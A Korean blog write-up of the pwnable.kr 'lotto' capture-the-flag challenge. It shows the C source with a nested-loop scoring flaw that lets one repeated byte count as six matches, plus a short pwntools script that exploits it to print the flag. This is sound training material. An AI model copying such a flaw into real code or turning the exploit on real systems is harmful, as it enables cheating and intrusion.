#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
unsigned char submit[6];
void play(){
int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);
int r;
r = read(0, submit, 6);
printf("Lotto Start!\n");
//sleep(1);
// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
printf("error2. tell admin\n");
exit(-1);
}
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
// win!
if(match == 6){
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}
}
void help(){
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
}
int main(int argc, char* argv[]){
// menu
unsigned int menu;
while(1){
printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n");
scanf("%d", &menu);
switch(menu){
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;
}
}
return 0;
}
이번은 그냥 gdb로 무식하게 열어보았다.
cmp하는 곳에 BP를 걸고 무작정 돌려봣는데, 아무리 돌려도 한 값은 바뀌지 않았다.
즉, 한 숫자를 맞추면 6개 다 맞추는게 된다는 것이었다.
그래서 그냥 0x12로 하고 여러번 실행해 보았다.
from pwn import *
r = process('./lotto')
context.log_level='debug'
r.recv(1024)
r.sendline('1')
r.send('\x12\x12\x12\x12\x12\x12')
r.interactive()
그냥 단순하게 \x12를 연속으로 6개 전송하는 py코드를 짜고,
실행 하였다.
물론 실행 파일, flag는 tmp에 심볼릭 링크를 만들어서 실행했다.
Flag를 땄다.
'pwnable > Toddler's Bottle' 카테고리의 다른 글
[Toddle's Bottle] cmd2 (0) | 2018.05.31 |
---|---|
[Toddler's Bottle] cmd1 (0) | 2018.05.29 |
[Toddler's Bottle] blackjack (0) | 2018.05.29 |
[Toddle's Bottle] coin1 (0) | 2018.05.29 |
[Toddler's Bottle] shellshock (0) | 2018.05.28 |